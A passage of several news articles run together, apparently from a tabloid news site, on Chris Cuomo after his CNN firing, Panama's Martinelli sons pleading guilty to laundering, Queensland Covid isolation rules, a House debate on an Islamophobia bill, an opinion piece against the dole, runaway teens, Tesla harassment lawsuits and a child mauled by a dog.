hoodie, army fatigue shorts and sneakers as he stepped out with an Amazon package in hand. Before then he hadn't been seen since November 30 when he was indefinitely suspended from the network after it was revealed that he had helped his brother Andrew Cuomo battle sexual harassment allegations to a greater extent than he admitted. Fired CNN host Chris Cuomo has a friendly face to get him through his first few weeks of unemployment his old buddy, actor Gregg Bello. Unshaven and wearing sunglasses, Bello visited Chris Cuomo at least three times in two days this week at the home where the fired TV host is staying in The Hamptons DailyMail.com spotted axed CNN host Chris Cuomo in the Hamptons on Saturday in his first sighting since being fired from CNN earlier this month Bello arrived at Cuomo's house in a Mercedes on Monday and a Porsche 911 the following day. The two have been friends for decades Four days later CNN confirmed they were firing him from his $6million-a-year position after an unnamed former co-worker at ABC claimed that he sexually harassed her. The 51-year-old has been keeping a low profile, leaving Manhattan for the Hamptons where he's been holed up with wife Cristina, with Bello a regular visitor. Gregg Bello posted a picture of Cuomo and him masked up last year. Cuomo is wearing a mask from the movie Crown Vic, in which Bello appeared alongside Luke Kleintank, Thomas Jane, and Bridget Moynahan Another Instagram posting was of a 2008 picture when Bello accompanied Cuomo to Atlantic City for a Good Morning America stunt when Cuomo jumped off the Taj Mahal Casino and Resort in Atlantic City A third Instagram picture showed Bello and Cuomo at Crabby Jerry's in the Hamptons for what they called a 'last hurrah lunch' before the 2020 summer season ended. Cuomo's CNN colleague Don Lemon (center) was also with them Cuomo, 51, and Bello, 58, have long been friends. The two traveled together from New York to Atlantic City in 2008 when Cuomo jumped off the 51-story Taj Mahal Casino and Resort in a stunt for Good Morning America. The TV host has often been pictured at the actor's movie premieres, and Bello posted a picture of the two of them wearing Covid masks on both his Twitter and Instagram page. Bello's movie career has seen him appear in films including The Thomas Crown Affair, G.I. Jane, Requiem for a Dream, and The Wrestler. On TV he has been in episodes of Law & Order, Bull, and 30 Rock. He is friends with Alec and Hilaria Baldwin, who also spend a lot of time in the Hamptons. Cuomo and his wife Cristina both joined Gregg Bello for a 2018 screening of the movie Louisiana Caviar in New York City. They live close to each other in The Hamptons, the millionaires' playground on the east end of Long Island Chris brought brother-in-law Kenneth Cole to a 2008 event to celebrate the 30th anniversary of Hamptons Magazine, held in New York DailyMail.com also spotted Chris' wife Cristina on Sunday with an unidentified female friend. She was seen driving a Tesla as she left their Hamptons home. Cristina, founder of health and wellness platform Purist, and Chris have been married since 2001. The couple share three children, Bella, Carolina and Mario - named after Chris' governor father. Bello (lying right) appeared with Demi Moore and Viggo Mortenson in the 1997 movie G.I. Jane Chris' professional life has been plagued with controversy since a report by the New York Attorney General revealed the depths of his involvement with his governor brother. He was fired four days after CNN's president, Jeff Zucker took him off the air and announced his 'indefinite suspension.' CNN said in a statement that Chris had mislead them about his efforts this spring to help his brother, Governor Andrew Cuomo, in countering allegations of sexual harassment. Chris has claimed Zucker knew all about what was going on, with the network vehemently denying that. The combative statements raise the specter of a public clash between Cuomo and CNN's president, with whom he used to enjoy mingling on the Hamptons cocktail circuit - where both men have homes. A spokesman for Cuomo told the Wall Street Journal Sunday: 'Mr. Cuomo has the highest level of admiration and respect for Mr. Zucker,' the spokesman told The Wall Street Journal. 'They were widely known to be extremely close and in regular contact, including about the details of Mr. Cuomo's support for his brother. There were no secrets about this, as other individuals besides Mr. Cuomo can attest.' It appears likely that accusations that he sexually harassed a former co-worker at ABC was the final straw that led to his firing - a move which would appear to slightly ease the pressure on Zucker. Bello's movies have included The Thomas Crown Affair, Requiem for a Dream, and The Wrestler. He's also appeared on TV in episodes of Law & Order, Bull, and 30 Rock Cuomo was was fired from his $6million-a-year position on December 4 after an unnamed former co-worker at ABC claimed that he sexually harassed her The host was fired when the unidentified woman's lawyer, Debra Katz, told CNN executives about the allegations. Katz also represents one of Andrew Cuomo's accusers, Charlotte Bennett. A source told the New York Post: 'From a legal standpoint, CNN had cause to fire Chris on Friday based on the Letitia James information. From a practical standpoint, when the sexual-misconduct claim came in, CNN decided, 'Enough is enough.'' In responding to Cuomo's claims that Zucker knew about his support for his brother, CNN said in a written statement it disagreed their former star's characterization of events. 'He has made a number of accusations that are patently false,' the network said. 'This reinforces why he was terminated for violating our standards and practices, as well as his lack of candor.' Chris Cuomo is seen on Monday November 29 - the last night he hosted his CNN show before his suspension and ultimate firing Chris Cuomo's wife Cristina has been spotted going to and from the house, driving her Tesla. Cristina, founder of health and wellness platform Purist, and Chris have been married since 2001 Cristina was seen driving a Tesla as she left their Hamptons home with a female friend in the passenger seat Cristina and Chris share three children, Bella, Carolina and Mario - named after Chris's governor father. In another blow to his career, Cuomo announced last Monday he would no longer host his SiriusXM radio show. 'While I have a thick skin, I also have a family for whom the past week has been extraordinarily difficult,' he wrote on Twitter. Earlier this year, Cuomo told CNN viewers and executives that he had indeed assisted his brother's team, but that his involvement had been minimal. Newly-released texts from CNN host Chris Cuomo reveal he helped strategize brother Andrew Cuomo's response to the sexual harassment scandal earlier this year Then when Andrew Cuomo, 63, resigned in August, Zucker likely hoped the thorny issue would go away. But it was Attorney General Letitia James report that revealed text messages between Chris and his brother's staff, showing that he was deeply involved in combatting the allegations and provided help in strategy and communications. CNN said in a statement that Cuomo had been suspended, noting: 'The New York attorney general's office released transcripts and exhibits Monday that shed new light on Chris Cuomo's involvement in his brother's defense. 'The documents, which we were not privy to before their release, raise serious questions. 'When Chris admitted to us that he had offered advice to his brother's staff, he broke our rules and we acknowledged that publicly. 'But we also appreciated the unique position he was in and understood his need to put family first, and job second. 'However these documents point to a greater level of involvement in his brother's efforts than we previously knew. 'As a result we have suspended Chris indefinitely, pending further evaluation.' Zucker, 56, hired Cuomo from ABC News in 2013 in one of his first moves when he took over CNN, and demonstrated considerable compassion for Chris during the summer when the saga unfolded. Zucker had promoted Cuomo to prime time in 2018, letting him have the prized 9pm hour, and setting him against the influential Rachel Maddow at MSNBC and Sean Hannity at Fox News. A year later, Zucker was full of praise for his star, telling The Hollywood Reporter that Cuomo was 'the perfect cable news anchor.' When The Washington Post reported in May that the news anchor had been advising his brother on strategy, in a breach of journalistic protocol, Zucker defended him and said that he was in a unique and very difficult position. Zucker, 56, hired Cuomo from ABC News in 2013 in one of his first moves when he took over CNN, and demonstrated considerable compassion for Cuomo during the summer, when the saga unfolded Pages of text exchanges between Chris Cuomo and Andrew Cuomo's top aid Melissa DeRosa were released by the New York Attorney General's office on Monday 'Chris has not been involved in CNN's extensive coverage of the allegations against Governor Cuomo on air or behind the scenes,' the network said in a statement. 'In part because, as he has said on his show, he could never be objective. But also because he often serves as a sounding board for his brother. 'However, it was inappropriate to engage in conversations that included members of the Governor's staff, which Chris acknowledges. 'He will not participate in such conversations going forward.' At the time, the network said Cuomo would not be disciplined. Another of Panama former president Ricardo Martinelli's sons has pleaded guilty to laundering $28 million in connection with a massive bribery scheme involving a global construction conglomerate. Ricardo Martinelli Jr., 42, acknowledged before United States District Court for the Eastern District of New York that he had conspired with his younger brother, Luis Enrique Martinelli, in setting up bank accounts under 'shell companies' to hide the money that a close relative - who was a high-ranking government official from 2009 until 2014- received from Brazil-based company Odebrecht. Martinelli Jr., who was extradited from Guatemala to the U.S. last week, admitted that the money was wired in and out of the United States. Luis Enrique Martinelli was extradited from Guatemala in November and pleaded guilty on December 2 to the same count of conspiracy to commit money laundering. Ricardo Martinelli Jr., the son of Panama's former president Ricardo Martinelli, pleaded guilty in a New York federal court Tuesday, admitting to conspiring with his sibling to launder $28 million that a close relative - a former government official - had received from Brazilian construction company Odebrecht. Martinelli Jr. faces up to 20 years in prison and is scheduled to be sentenced in May 2020 The United States government had gotten two guilty pleas from two sons of Panama's former president Ricardo Martinelli in connection to their role in laundering money for a close relative The siblings, who also hold Italian citizenship, were taken into custody at La Aurora International Airport in Guatemala City on July 6, 2020 as they awaited to board a flight to Panama and flee from U.S. authorities. 'They used the U.S. financial system to further their scheme, took steps to create shell company accounts at offshore banks to try to evade responsibility, and used some of the bribe proceeds for their personal benefit,' Assistant Attorney General Kenneth A. Polite Jr. of the Justice Department's Criminal Division said in a statement. Odebrecht's scheme involved the payment of more than $700 million in bribes to government officials, public servants, political parties and others in Panama and other countries in exchange for business favors in the Central American country. The company pleaded guilty in 2016 to conspiracy to violate anti-bribery provisions of the U.S. Foreign Corrupt Practices Act. Luis Enrique Martinelli (left) and Ricardo Martinelli Jr. (right) sit handcuffed following their July 6, 2020 arrest in Guatemala City Ricardo Martinelli Jr. arrives at a Guatemala City, Guatemala, court on November 8 for a hearing before he was extradited to the United States last week Former Panamanian President Martinelli served from 2009 until 2014. He was acquitted in November in Panama of charges he tapped the phones of opponents and journalists. He has said he hopes to run again for the presidency in 2024. Dressed in a light green prison uniform, Ricardo Martinelli Linares repeated, 'Yes, your honor' to questions posed to him during the court proceeding by U.S. District Judge Raymond Dearie. Both brothers are being held without bail. Prosecutors said that an earlier attempt to finalize a plea bargain fell apart in June 2020 when the brothers slipped across the U.S. border, traveled to the Bahamas by boat, and then boarded a private jet in an attempt to return to Panama. When the plane was turned away due to COVID-19 travel restrictions, they ended up in several Central American countries before entering Guatemala on invalid diplomatic credentials on June 30, 2020. They were arrested on an arrest warrant issued out of New York on July 3. At the time, Guatemala authorities said they intended to board a private family jet bound for El Salvador. They spent more than a year in a Guatemalan prison, before being extradited to the U.S. An attorney for Luis Enrique Martinelli Linares, 39, said last month that the brothers fled because the U.S. government did not provide them with protection from deportation while they were negotiating a plea bargain. Dearie agreed with prosecutors Tuesday that Martinelli Linares couldn't be released on a $5 million proposed bond because of the way he fled in 2020. 'This is somebody who planned an escape,' Dearie said. 'Actions speak louder than words.' Martinelli Linares is set to be sentenced on May 13, 2020. As part of his plea deal, he has agreed to forfeit about $18.9 million. He faces a maximum of 20 years in jail. Dearie will determine any sentence after considering the U.S. Sentencing Guidelines and other statutory factors. A decision by Queensland health authorities to force passengers on two planes to spend Christmas in isolation has been criticised by prominent Australians ranging from the Prime Minister to Tracy Grimshaw and Leigh Sales. Scott Morrison weighed into the controversy on Brisbane radio this morning, urging the Queensland government to reunite passengers with their families. 'PCR testing, being able to look at ways to ensure people be able to join their families before Christmas, I would hope, is a very high priority for them,' he told Spencer Howson on 4BC. Sales, the host of ABC's current affairs 7.30 program, was quick to ask why Queensland ordered hundreds of travellers on board two Virgin flights into 14 days of isolation after a passenger tested positive for Covid-19. 'Flights have been going between NSW and Vic for months - has there been a single superspreader event on a flight relating to a Covid case?' tweeted Sales. 'What is the basis of Qld locking up planeloads of vaxed people for Christmas without warning or precedent?' Meanwhile, Grimshaw, the host of Nine's A Current Affair, pointed out the hypocrisy of the Prime Minister being able to move around the state while travellers on the plane were forced to isolate for two weeks. 'The PM is a casual contact, double vaxxed, two negative tests and free to enter and move around QLD,' Grimshaw Tweeted. 'But a planeload of double vaxxed almost all casual contacts are locked in Xmas quarantine for 2 wks regardless of tests. 'Rules have to make sense or people will reject them.' 'Rules have to make sense or people will reject them,' ACA host Tracy Grimshaw Tweeted in response to the decision by Queensland Health to force hundreds of travellers on two Virgin flights to go into 14 days self-isolation over Christmas The host of Nine's A Current Affair pointed out the hypocrisy of the Prime Minister being able to move around the state while travellers on the plane were forced to isolate for two weeks 'Flights have been going between NSW and Vic for months - has there been a single superspreader event on a flight relating to a covid case?' Tweeted Leigh Sales after Queensland told two planeloads of travellers to self-isolate until after Christmas Day It's not the first time the ABC's 7.30 presenter has weighed in on the Covid policies of state governments and health authorities Mr Morrison said on Brisbane radio this morning that the Queensland government should be doing 'all it could' to ensure the passengers could spend Christmas with their families. 'There's nothing magical about 14 days. 'Omicron is in Australia and weve got to live with it; we cant live in fear of it.' Mr Morrison had been cleared to enter Queensland despite being classified as a casual contact after attending a Sydney high school graduation gala where an infected person tested positive. He attended Kincoppal-Rose Bay's Graduation Gala at the International Convention Centre Darling Harbour on Friday night. Mr Morrison had since received two negative PCR tests and so is not required to isolate on entry to Queensland. Former Channel Nine presenter Rebecca Maddern was another high-profile person to question the Queensland Health decision. The TV personality, 44, made a scathing Instagram post questioning the state's harsh quarantine rules as she anxiously prepares to fly from Melbourne to Queensland later this month to see her father for the first time in 18 months. Alongside quotes from a news article, which confirmed passengers are required to isolate regardless of a negative result, the 44-year-old wrote: 'So Queensland isnt really open at all. 'Passengers have been flying between Sydney and Melbourne for weeks - has there been a massive issue? No. Why is Queensland 14 days ISO for a close contact. 'In Victoria, its 10 days ISO if youre Covid positive!' On Tuesday evening Queensland Health said passengers on board flights VA1105 from Newcastle to Brisbane and VA375 from Brisbane to Townsville, both on Monday, December 13, were close contacts of the positive case and will need to isolate until December 27, ruining Christmas. There is concern the positive case on the flight from Newcastle could be linked to the nightclub cluster in the NSW city, where around 150 people have already tested positive to what is believed to be the Omicron variant. Queensland Health said it will provide more information on the positive case today. Some people commenting on the post agreed with Sales, pointing out that high vaccination rates meant most people should be protected and isolation was unnecessary, while others said precaution was necessary due to the Omicron variant. 'Do you not think that the emergence of Omicron and the apparent increase in transmissability (as seen in UK) warrants caution?' one person responded to Sales. 'If you think you can keep Omicron out even with closed borders you are kidding yourself - these rules dont do anything other than lock up perfectly healthy people - let them go on a negative test and retest in 5 days,' another person responded. It's not the first time the ABC presenter has weighed in on the Covid policies of state governments and health authorities. She famously complained about being trolled by supporters of Victorian Premier Daniel Andrews earlier this year after she tweeted about the Victorian lockdown. 'Next time you hear a Premier claim a short term lockdown for a handful of cases has 'crushed' the virus - remember that the data so far shows theyre pointless,' she tweeted on May 24 this year. Passengers on board flights VA1105 from Newcastle to Brisbane and VA375 from Brisbane to Townsville, both on Monday, December 13, were close contacts of the positive case and will need to isolate until December 27, ruining their Christmas Queensland Health said it will provide more information on the positive case today. There is concern the positive case on the flight from Newcastle could be linked to the nightclub cluster in the NSW city Premier Annastacia Palaszczuk (left) and Chief Health Officer Dr John Gerrard (right) have repeatedly warned that the state's relatively low number of Covid cases will not last now that Queensland's border restrictions have eased She was also criticised when the Sydney-based presenter turned up to one of Mr Andrews' daily press conferences in Melbourne in February to question him on hotel quarantine and Victoria's then third lockdown. Queensland is on edge since re-opening its borders to interstate travellers from declared 'hotspots' such as NSW, Victoria and the ACT. Premier Annastacia Palaszczuk, Health Minister Yvette D'Ath and Chief Health Officer Dr John Gerrard have all repeatedly warned that the state's relatively low number of Covid cases will not last now that border restrictions have eased. Yesterday Dr Gerrard said it was 'inevitable' that more cases of Covid would be detected in the state and that a mask mandate for people meeting indoors would likely be reintroduced if community transmission increased in Queensland. '[But] at this stage we are not seeing evidence of sustained community transmission,' he said. On Monday he said he expected to see 'more than hundreds' of cases within the next few months. As of yesterday, Queensland now had 88.61 per cent of its residents with one dose of a Covid vaccine and 82.03 per cent with two doses. House debate over Rep. Ilhan Omar's proposal to establish an anti-Muslim bias office within the State Department was derailed on Tuesday night when GOP Rep. Scott Perry called Omar anti-Semitic. He also implied she had ties to a terrorist organization just weeks after GOP Rep. Lauren Boebert joked Omar was a suicide bomber. Audible gasps could be heard from Democrats in the chamber after Perry stunningly claimed the Democrat-backed bill was written to silence 'critiques of terrorism.' The hour-long debate was paused after House Democrats lodged a formal objection and asked Perry's comments to be stricken from the record. Perry derided the 'lack of definition' of Islamophobia in the bill's text and said it was purposely vague because 'you're either going to be persecuted or youre not depending on who you vote for.' He dismissed the legislation as 'attempts to placate an anti-Semitic member of this chamber,' referring to Omar. 'During last week's markup of this legislation in the Foreign Affairs Committee, I was assailed by my colleagues on the other side of the aisle, they told me I was Islamophobic, nasty, mean and rude, why? because i offered amendments that would have prevented American tax dollars from going to organizations with ties to terrorism,' Perry said. Scott Perry's inflammatory comments spurred Democrats to formally ask for his remarks to be stricken from the record He implied Omar had ties to an unnamed terrorist organization just weeks after Rep. Lauren Boebert called her a suicide bomber He went on to claim without evidence that Omar - one of only three Muslim House lawmakers - was part of one of those organizations. 'American taxpayers shouldn't be forced to pay terrorist organizations, organizations that the maker of this bill is affiliated with,' Perry said. 'And by intentionally leaving the definition blank in this bill, the gentlelady and my friends on the other side of the aisle are creating an office in our state department that will likely spew anti-Semitic hatred and attack Western ideas throughout the world under the farce of protecting Islam.' The bill, written by Representative Ilhan Omar, would create a special envoy for monitoring and combating Islamophobia, and include state-sponsored anti-Muslim violence in the department's annual human rights reports. On the House floor Tuesday evening Omar thanked Democratic leadership in Congress for their commitment to the legislation. One of the bill's co-sponsors, Rep. Janice Schakowsky of Illinois, who is Jewish, said Omar had been the subject of 'relentless attacks and horrifying threats, not just from her fellow Americans but even within the halls of Congress.' 'And as a Jew myself, I see the parallel quite directly between anti-Semitism and Islamophobia - and we need to be combatting both,' she said. It comes just a few weeks after video emerged showing first-term lawmaker Boebert calling Omar, a Muslim who was born in Somalia, a member of a 'jihad squad.' Boebert joked that Omar was a suicide bomber, leading Democrats to call for her to be stripped of her committee assignments That comment led to calls by Democrats for a vote to strip Boebert of her committee assignments, as well as criticism by fellow Republican Representative Nancy Mace. Republicans decried the bill, saying it lacked definitions and could be used for a wide range of actions. Representative Guy Reschenthaler called the bill 'rushed and a partisan effort.' Democrats countered that anti-Muslim sentiment is on the rise in the United States and globally, and cited Boebert's comments as evidence. Debate on the House floor reached a boiling point when Republican Scott Perry of Pennsylvania sparked objections from Democrats by claiming they were trying to 'silence critiques of terrorism.' GOP Rep. Steve Chabot blasted Democrats' bill for not including a clearer definition of Islamophobia during debate ahead of the vote. 'This bill doesn't make it clear if the term islamophobia includes for example... criticizing the Taliban's brutal oppression of women, or criticize people denying the Holocaust?' Chabot posed. House Speaker Nancy Pelosi took the floor to condemn anti-Muslim attitudes throughout the world as well as in the Capitol itself. 'We must confront Islamophobia or any form of racism, wherever it is found around the world, in our country, or even in these very halls,' Pelosi said. Toward the end of the debate period GOP Rep. Michael McCaul said he would 'agree with the intent and spirit of this bill' but again dismissed the bill's use of 'Islamophobia' as a 'vague' and 'contested' term. 'I wish the minority had the opportunity to discuss this bill before it was thrown for the markup,' he said. Mark Latham (pictured) wants the dole abolished to get people into work Sometimes in politics you can only shake your head in amazement as to how public policy is made. For nearly 30 years our governments have been spending billions of dollars supposedly to make young Australians 'job ready' through vocational training. Now, in the post-Covid economic recovery, we are being told there are 50,000 fruit picking jobs, 30,000 hospitality vacancies and 15,000 trades and construction jobs in NSW that can only be filled by foreign workers. Pacific Islanders have been brought in for the farm harvest - while the other positions will be filled by going back to big immigration numbers of 200,000 per annum. Meanwhile, some parts of western Sydney and country NSW have youth unemployment rates of 30 and 40 percent. How hard is it to ensure Australians get first crack at the jobs? The immigration program should be designed, first and foremost, for the benefit of people who live here now, not new arrivals. Farmers are struggling for staff due to a migration shortage. Pictured: Workers sort and pack strawberries at the Chambers Flat Strawberry Farm in Queensland Poll SHOULD YOUNG AUSSIES BE THROWN OFF THE DOLE? Yes No SHOULD YOUNG AUSSIES BE THROWN OFF THE DOLE? Yes 482 votes No 139 votes Now share your opinion Australia has a one-off opportunity to reduce unemployment to zero and slash the cost of the dole for taxpayers. Yet the Federal and State Governments are blowing it through their obsession with 'Big Immigration' and going soft on welfare abuse. There are so many job vacancies at the moment, anyone who says they can't find work is not really looking for it. The only possible barrier for some is a vaccination requirement, but in many NSW workplaces this ended today (December 15) with the abolition of vaccine passports. Bringing workers from overseas puts pressure on housing prices and adds to urban congestion. It floods the labour market and holds down wages. The logical alternative is to end the dole. Scott Morrison increased the dole by $50 to $615.70 a fortnight in April. Pictured: Queues for the dole in 2020 Anyone bludging on welfare must be made to take a job vacancy. Scott Morrison should announce the abolition of the dole as of March 1 2022. We can't have permanent youth unemployment in Australia, a generation who think that work is optional and taxpayers will carry them forever. Ending the dole would be a culture shock to these job snobs, a wake up call about the necessity of work. It would end the labour shortages quick smart, save the government vast amounts of money and avoid an over-reliance on overseas workers. We are not talking about high-skill jobs that need years of training. Cafes, restaurants and bars across Australia are facing major staff shortages in the wake of Covid-19 Some businesses are so desperate they are offering prizes and special bonuses to attract staff. If young people in particular got off their backsides they would find work tomorrow on farms and in cafes, restaurants and pubs. The fruit picking jobs should have gone to Indigenous unemployed in country areas, overcoming that chronic problem, instead of importing Pacific Islanders. The soft, lazy way of dealing with the labour shortages is to turn on the immigration tap. The realistic way is to end the dole and end Australian unemployment. What's wrong with these Liberals Morrison, Treasurer Frydenberg and Premier Perrottet that they only see the soft option as viable? Why have they lost the ability and backbone to make tough but effective decisions for Australia? Two missing Long Island teenagers were found safe on a bench in a Manhattan subway station by one of their parents after they vanished five days ago. Vincent Abolafia and Kaileigh Catalano, both 15, of Manorville, New York, took off from the Long Island Rail Roads Ronkonkoma station to go to New York's Penn Station on December 9. They left their cellphones and vaccination cards behind and reportedly had around $1,000 in cash. They also reportedly changed their appearance prior to heading to the Big Apple for their excursion. Catalano dyed her hair dark brown and Abolafia cut his hair shorter, according to Catalano's cousin Jenna. Joseph Catalano, Kaileigh's father, found the two sitting on a bench on the downtown A train platform at 42nd Street-Port Authority on Tuesday after working off a police tip, according to the New York Post. 'I couldnt f***king believe it,' Catalano told the New York Post. 'I ran over to them and hugged them and then screamed bloody murder for help. 'Its a miracle, man. It is the best Christmas gift forever, absolutely.' Vincent Abolafia and Kaileigh Catalano, both 15, of Manorville, New York, were found in a Manhattan subway station after being reported missing five days ago Catalano's father found them sitting on a bench waiting for a downtown A train at 42nd Street-Port Authority on Tuesday. They were taken to the 43rd Street Precinct, where they will be reunited with their families The couple was reported missing by their parents on December 9 after they were spotted in Times Square, but failed to return home The teens were taken to the 43rd Street Precinct, where they will be reunited with their families. Joseph reported that the teens were 'dirty, but okay' and their motive for leaving home is still unknown. The pair have only been dating since September and neither has run away from home in the past. Abolafia and Catalano were suspected to have been spotted at popular New York tourist spots, like Times Square, during the five days they were gone, but after failing to return home, the couple's parents reported them missing on December 9. Abolafia's parents were also searching the streets of New York after a police tip said the pair were near Times Square. The pair searched the streets for four nights. 'I wonder where he is, I wonder what he is thinking,' Albolafia's mother Ann Bonasia told NBC 4. Bonasia said she believed her son and his girlfriend were inspired by TikTok, which has a few dozen videos under similar hashtags for 'running away,' with some videos ranking in tens of millions of views. Some videos even give teens instructions on how to get away with it, such as couch hopping and not staying too long in one place. The couple have only been dating since September and had good family relations prior to taking off They are reportedly going to be reunited with their families on Tuesday Bonasia told NBC 4 that Catalano was following a girl who ran away to New York City on the social media app. 'These kids are finding it as role models, as there were videos she was following of some girl in New York City that ran away and does she do [it]?,' Bonasia told NBC 4. Both the teen's parents said earlier this week that neither Abolafia and Catalano had gotten into any arguments with family and that Catalano had discussed her Sweet Sixteen with her parents the night before taking off. 'The night before, we were talking about her Sweet 16, no arguments,' her mother Ehrin Catalano added. The couple was found waiting on a downtown A train at the 42nd Street-Port Authority station (pictured) on Tuesday On Sunday, James Bonasia, Abolafia's stepfather, told Fox News that he believed the pair could have been in danger. He said: 'When you have two teenagerswith minimal resources, it can get dangerous pretty quick. 'And Manhattan right now isn't what it was. Any city is dangerous for any adolescent.' He also said on Sunday that the pair didn't have any known acquaintances in the City, but Abolafia is familiar with the subway system and has been shown around there. The pair are reportedly going to be reunited with family on Tuesday evening. Seven women have now filed lawsuits against Tesla over it's 'frat house' culture where sexual harassment was allegedly rife. Six more female employees filed suits against the electric car manufacturer on Tuesday, after Jessica Barraza, 38, sued the tech company last month over its 'nightmarish conditions' for women at the factory in Fremont, California. The new lawsuits, filed today in Alameda County Superior Court, claim that female staff were constantly harassed, with male coworkers allegedly touching them inappropriately, ogling at their bodies or making lewd comments. They claimed the behavior got even worse after CEO Elon Musk posted childish or sexual tweets. A 21-year-old new mom said she would go home in tears most nights and described the atmosphere at a 'living nightmare' . Many also claim that when they told their supervisors about the harassment, the supervisor either neglected to act upon it or transferred the women to another work station. Others said they were too afraid to report the harassment to Human Resources because their supervisors were part of the problem. 'Although Tesla publicly claims that it fosters a safe and respectful environment for its workers, the truth is that for years Tesla has subjected women working in its Fremont factory facilities to nightmarish conditions of rampant sexual harassment,' reads the opening paragraph of each of the lawsuits, filed by the same attorney, according to Bloomberg. 'Tesla's facilities more resemble a crude, archaic construction site or frat house than a cutting-edge company in the heart of the progressive San Francisco Bay Area.' Many of the sexual harassment complaints come from female workers at Tesla's Fremont, California factory (pictured) In her lawsuit, the Washington Post reports, Jessica Brooks, who also works at the 53 million square foot factory in Fremont, claimed the harassment was so extreme that she stacked boxes around her work station to deter men from ogling and whistling at her. She said she also bought flannel shirts at a thrift store to tie around her waist in an effort to further conceal her backside. 'I was so tired of the unwanted attention and the males gawking at me, I proceeded to create barriers around me just so I could get some relief,' she told the Post. 'That was something I felt necessary just so I can do my job.' Another female worker, Eden Mederos, who started working at a Tesla service center in the Los Angeles area in 2016, also claimed that simple acts like eating a banana or using a spoon resulted in men making lewd comparisons. She said the men would whistle at her and encourage her to show skin. Mederos, 31, said the issue only became worse whenever CEO Elon Musk would tweet something lewd such as jokes about sexual positions or creating a Texas Institute of Technology & Science - with the acronym TITS. He has also dubbed his line of cars 'S3XY' for the models S, 3, X and Y. 'When they were rumoring that the Model Y was coming out and it was sexy around that time everything got worse,' she said. 'It was like, 'Oh this door panel's sexy, this pencil's sexy.' '(Musk) would make 69 or 420 jokes which caused the technicians to be even worse.' One of the women suing the company over sexual harassment claims, Eden Mederos, claims the pattern of inappropriate comments would only get worse whenever CEO Elon Musk (pictured) would tweet something derogatory Musk is known for his derogatory tweets including one in October saying he wanted to create a new university, the Texas Institute of Technology & Science - with the acronym TITS, and another in November saying 'Due to inflation 420 has gone up by 69' 'Everyone at the service center would read the tweets,' her complaint read. 'The managers and technicians would bring up the tweets, laugh about the, and make their own jokes, riffing on the sexual themes.' At another time, she said a manager flirted with her and tried to put his arm around her as they drove one of the cars. She said she tried to complain to Human Resources, but faced retaliation and was unable to advance within the company. 'When I started at Tesla, Tesla was going to be my career,' Mederos, 31, told the Post. 'I wanted to move up in the company - I was proud to work there when I got the job. 'When I left, I was just devastated.' Another female employee, Michala Curran also claimed that within her first few weeks of working at Tesla when she was just 18 years old, her supervisor would tell her 'that with her 'big butt' she should be an exotic dancer.' The same supervisor, she claims, also tried to slap her on her backside when she was changing out of the jumpsuit she had to wear when painting the cars. Curran quit after just two months, she said. 'I just felt scared and not knowing who to run to,' she told the Post. 'Knowing there's nothing but males around me - not knowing if they might have the same mindset as the supervisor.' Alisa Blickman, 33, said her supervisor saw her stretching one morning and said 'I hear you don't like to scream loud enough.' She claims that same supervisor would touch and rub her back, noting that it was common at the Fremont factory, where, she said, women's body parts were referred to using a number system. Blickman told the Post she felt afraid to go to Human Resources, and was told she would be transferred to an outdoor work area. Samira Sheppard, meanwhile, said she was left with shame, anxiety and emotional distress from the job she began at the Fremont factory when she was just 19, saying her supervisor once told her male coworkers her nipples were visible through her shirt. And Alize Brown called her experience a 'living nightmare,' telling the Post she began working at Tesla shortly after giving birth when she was 21. She said a male coworker would often comment on her breastmilk-stained shirts, calling her a 'cow,' or saying: 'Oh I see you're milking today.' Brown said she tried complained to a supervisor, who treated it as a joke, and she had to purchase a baggy jumpsuit to avoid his comments. Later on, she said, the same supervisor told her that her contract would not be renewed. 'It was horrible,' she told the Post. 'I would actually come home and cry because, first of all I just had a baby, then I have to be tortured for 12 hours. 'It was really hard for me,' she continued. 'It's still kind of hard for me, even after being let go from Tesla.' David Lowe, a partner at the San Francisco law firm Rudy, Exelrod and Lowe, who is representing the six women in their lawsuits, said he is trying to address 'a shocking pattern of harassment that exists at Tesla. 'It is pervasive throughout the workplace, and now we know it's not just the factory floor in Fremont, but other locations, including the sales centers.' The company has said it takes allegations of sexual harassment seriously and does not tolerate retaliation. Mederos said the issues extended beyond just the Fremont factory, but also to its service centers like the one she worked at in Los Angeles The lawsuits were filed today after Barraza's sexual harassment lawsuit last month. Barraza, 38, described the 'nightmarish conditions' of working at the Fremont plant in her filing to the California Superior Court. She said in an interview with the Washington Post that she was just months in to her job as a production associate on the Tesla Model 3 when she began to experience near daily harassment, with colleagues making crude remarks about her body. Barraza told the Post that co-workers would regularly remark on her 'coke bottle figure' and 'onion booty,' as well a make references to her having a 'fat a**' and 'fat a** t***ies.' The suit alleges that a male co-worker once picked her up by her waist, 'pressing against her torso under her breasts.' Her final straw, she said, came on September 28, when a man snuck up behind her and put his leg between her thighs as she clocked in from her lunch break. 'Oh, my bad,' he said, chuckling, after she jumped away, according to the lawsuit. Barraza claims in the suit that she filed complaints with Tesla human resources in September in October, but that the company did not address the alleged harassment. Barraza said Tesla's human resources department even disabled its hr@tesla.com email address for receiving complaints after she tried to raise her issues. Tesla has not yet publicly commented on any of the lawsuits. The company abolished its public relations department last year and typically does not respond to media requests. A young boy from Oklahoma had his entire right arm ripped off after he put his hand inside a pen to pet some puppies at his grandmother's house. Axel Foster's arm, from just beneath the shoulder, was ripped off during the horrifying mauling on Friday night at his grandparents house in the town of Tecumseh, near Oklahoma City. 'I've seen dog bites in the past and experienced some pretty brutal dog bites with children but never a complete amputation,' said Chief JR Kidney, with the Tecumseh Police Department. Axel Foster, 4, was taken to hospital in Oklahoma after a pit bull tore his right arm off The vicious animal severed his limb just below the shoulder while the youngster was at his grandparents' home in Tecumseh on Friday night. The pit bulls were kept in a pen, above The vicious pet was later shot and killed by animal control officers, pictured 'The child's arm was still in the pen. When officers and animal control attempted to retrieve the arm, the dog became aggressive to them', said Kidney. When officers arrived at the home, they found the grandmother with her grandson in the driveway. Police officers together with firefighters arrived and applied a tourniquet to the wound. Emergency services arrived to find the boy's arm still in an outdoor pen, pictured, where the dogs had been kept Police and animal control tried to retrieve the arm but the dog was aggressive towards them Doctors attempted to reattach four-year-old Axel's arm, but the surgery was unsuccessful 'What if he doesn't make it through?' Axel's mom, Destiny McDow, is said to have spoken out loud at the time. Officer Aaron McCormick detailed in his police report: 'I could see the arm inside, and one of the puppies was trying to chew on it.' The boy was raced to the hospital in order to have his arm reattached but the surgery was not successful. 'We raced to the hospital. When we got there, the nurses confirmed his arm was dismembered from his body,' McDow said to KFOR. 'I don't know what he's going through. I never went 